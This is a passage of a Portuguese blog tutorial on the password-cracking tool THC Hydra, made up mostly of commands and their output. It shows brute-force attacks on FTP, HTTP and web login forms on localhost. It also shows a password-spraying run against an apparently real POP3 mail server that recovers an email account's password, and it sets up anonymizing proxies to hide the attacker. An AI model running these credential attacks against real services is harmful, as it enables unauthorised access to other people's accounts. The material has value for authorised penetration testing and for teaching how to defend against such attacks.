&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
hydra -l root -P pass.txt -s 21 localhost ftp<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Saida:<br />
///////////////////////////////////////////////////////////////////////////////////<br />
Hydra v5.4 (c) 2006 by van Hauser / THC &#8211; use allowed only for legal purposes.<br />
Hydra (http://www.thc.org) starting at 2009-08-17 21:23:57<br />
[DATA] 16 tasks, 1 servers, 23 login tries (l:1/p:23), ~1 tries per task<br />
[DATA] attacking service ftp on port 21<br />
[21][ftp] host: 127.0.0.1   login: root   password: chaw123<br />
[STATUS] attack finished for localhost (waiting for childs to finish)<br />
Hydra (http://www.thc.org) finished at 2009-08-17 21:24:34<br />
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\</p>
<p>*[21][ftp] host: 127.0.0.1   login: root   password: chaw123 -&gt; Esta saída mostra que foi encontrado a senha:chaw123<br />
pertencente ao usuário root.</p>
<p>Exemplo (2) http-head<br />
===================================================================================<br />
Sintaxe:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
hydra -L users.txt -P pass.txt -o saida.txt localhost http-head /xampp/<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Saida:<br />
///////////////////////////////////////////////////////////////////////////////////<br />
Hydra v5.4 (c) 2006 by van Hauser / THC &#8211; use allowed only for legal purposes.<br />
Hydra (http://www.thc.org) starting at 2010-01-28 00:40:56<br />
[DATA] 16 tasks, 1 servers, 266 login tries (l:14/p:19), ~16 tries per task<br />
[DATA] attacking service http-head on port 80<br />
[80][www] host: 127.0.0.1   login: root   password: Est2yu<br />
[STATUS] attack finished for localhost (waiting for childs to finish)<br />
select: Bad file descriptor<br />
Hydra (http://www.thc.org) finished at 2010-01-28 00:41:00<br />
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\</p>
<p>O Hydra encontrou usuario:root||senha:Est2yu e fez o favor de salvar no arquivo &#8216;saida.txt&#8217;.</p>
<p>Dentro do arquivo foi escrito as seguintes linhas pelo programa:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
# Hydra v5.4 run at 2010-01-27 19:59:59 on localhost http-head (hydra -L users.txt -P<br />
pass.txt -o saida.txt localhost http-head)<br />
[80][www] host: 127.0.0.1   login: root password: Est2yu<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
/xammp/ é o caminho/path -&gt; http://localhost/xammp/</p>
<p>Exemplo (3) http-post-form<br />
===================================================================================<br />
Sintaxe:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
hydra -l admin -P pass.txt -o saida.txt -t 1 -f 127.0.0.1<br />
http-post-form &#8220;index.php:nome=^USER^&amp;senha=^PASS^:&lt;title&gt;invalido&lt;/title&gt;&#8221;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Saida:<br />
///////////////////////////////////////////////////////////////////////////////////<br />
Hydra v5.4 (c) 2006 by van Hauser / THC &#8211; use allowed only for legal purposes.<br />
Hydra (http://www.thc.org) starting at 2010-01-27 23:19:33<br />
[DATA] 1 tasks, 1 servers, 19 login tries (l:1/p:19), ~19 tries per task<br />
[DATA] attacking service http-post-form on port 80<br />
[80][www-form] host: 127.0.0.1   login: admin   password: admin<br />
[STATUS] attack finished for 127.0.0.1 (valid pair found)<br />
Hydra (http://www.thc.org) finished at 2010-01-27 23:19:33<br />
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\</p>
<p>-&gt; Para criar esta sintaxe tive que olhar o código da pagina &gt;&gt;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
&lt;form action=&#8221;index.php&#8221; method=&#8221;POST&#8221;&gt;<br />
&lt;input type=&#8221;text&#8221; name=&#8221;nome&#8221; /&gt;&lt;BR&gt;&lt;br&gt;<br />
&lt;input type=&#8221;password&#8221; name=&#8221;senha&#8221; /&gt;&lt;br&gt;&lt;br&gt;<br />
&lt;input type=&#8221;submit&#8221; name=&#8221;boo&#8221; value=&#8221;Enviar&#8221;&gt;<br />
&lt;br&gt;<br />
&lt;/form&gt;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>__________________________________________________________<br />
|__Mozilla Firefox___________________________________|-|_|X|<br />
|                                                          |<br />
|                                                          |<br />
|                                                          |<br />
|                                                          |<br />
|           _____________________________________          |<br />
|          |               nome                  |         |<br />
|          |_____________________________________|         |<br />
|           _____________________________________          |<br />
|          |               senha                 |         |<br />
|          |_____________________________________|         |<br />
|                                                          |<br />
|                     ________________                     |<br />
|                    |     Enviar     |                    |<br />
|                    |________________|                    |<br />
|                                                          |<br />
|__________________________________________________________|<br />
|_Concluído________________________________________________|</p>
<p>-&gt; POST index.php nome=^USER^&amp;senha=^PASS^&amp;boo=Enviar<br />
-&gt; Use o complemento &#8216;live HTTP headers&#8217; para Firefox que com toda certeza facilitara bastante sua vida.<br />
-&gt; Quando envio dados errados a pagina me retorna &#8216;invalido&#8217; no titulo.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
&lt;title&gt;invalido&lt;/title&gt;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Complete -&gt;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
hydra -l [usuário] -P [lista-senhas] -o saida.txt -t 1 -f [host] http-post-form<br />
&#8220;[destino]:[nome_da_variável]=^USER^&amp;[nome_da_variável]=^PASS^:[frase de erro]&#8221;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Completo -&gt;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
hydra -l admin -P pass.txt -o saida.txt -t 1 -f 127.0.0.1 http-post-form &#8220;index.php:nome=^USER^&amp;senha=^PASS^:&lt;title&gt;invalido&lt;/title&gt;&#8221;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Sendo que ^USER^ e ^PASS^ sera completado pelo hydra durante o loop que ele vai fazer testando senha por senha.<br />
-&gt; ^USER^ = admin e ^PASS^ = $_ &lt;-</p>
<p>Outro exemplo -&gt; http://localhost/login/login.html<br />
-&gt; Codigo fonte da pagina &gt;&gt;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
&lt;form action=&#8221;login_vai.php&#8221; method=&#8221;post&#8221;&gt;&lt;br&gt;<br />
Login: &lt;input type=&#8221;text&#8221; name=&#8221;login&#8221;&gt;&lt;br&gt;<br />
Senha: &lt;input type=&#8221;password&#8221; name=&#8221;senha&#8221;&gt;&lt;br&gt;<br />
&lt;input type=&#8221;submit&#8221; value=&#8221;OK!&#8221;&gt;<br />
&lt;/form&gt;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Sintaxe:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
hydra -l admin -P pass.txt localhost http-post-form &#8220;/login/login_vai.php:login=^USER^&amp;senha=^PASS^:Senha inválida!&#8221;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Saida:<br />
///////////////////////////////////////////////////////////////////////////////////<br />
Hydra v5.4 (c) 2006 by van Hauser / THC &#8211; use allowed only for legal purposes.<br />
Hydra (http://www.thc.org) starting at 2010-04-11 00:31:02<br />
[DATA] 1 tasks, 1 servers, 11 login tries (l:1/p:11), ~11 tries per task<br />
[DATA] attacking service http-post-form on port 80<br />
[80][www-form] host: 127.0.0.1   login: admin   password: teste<br />
[STATUS] attack finished for localhost (valid pair found)<br />
Hydra (http://www.thc.org) finished at 2010-04-11 00:31:07<br />
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\</p>
<p>Exemplo (4) POP3<br />
===================================================================================<br />
Sintaxe:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
hydra -L users.txt -p 123456 -S pop3.xxx.com pop3<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Saida:<br />
///////////////////////////////////////////////////////////////////////////////////<br />
Hydra v5.4 (c) 2006 by van Hauser / THC &#8211; use allowed only for legal purposes.<br />
Hydra (http://www.thc.org) starting at 2010-01-28 00:55:28<br />
[DATA] 9 tasks, 1 servers, 9 login tries (l:9/p:1), ~1 tries per task<br />
[DATA] attacking service pop3 on port 110<br />
[STATUS] attack finished for pop3.xxx.com (waiting for childs to finish)<br />
[110][pop3] host: pop3.xxx.com   login: xxxxxx@xx.com.br password: 123456<br />
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\</p>
<p>===================================================================================<br />
[0x04] Proxy:<br />
===================================================================================</p>
<p>Proxy web:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
HYDRA_PROXY_HTTP=&#8221;http://123.45.67.89:8080/&#8221;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Para qualquer outro use : HYDRA_PROXY_CONNECT<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
HYDRA_PROXY_CONNECT=proxy.anonymizer.com:8000<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Com autentificação :<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
HYDRA_PROXY_AUTH=&#8221;nome:senha&#8221;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/tutorial-thc-hydra/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

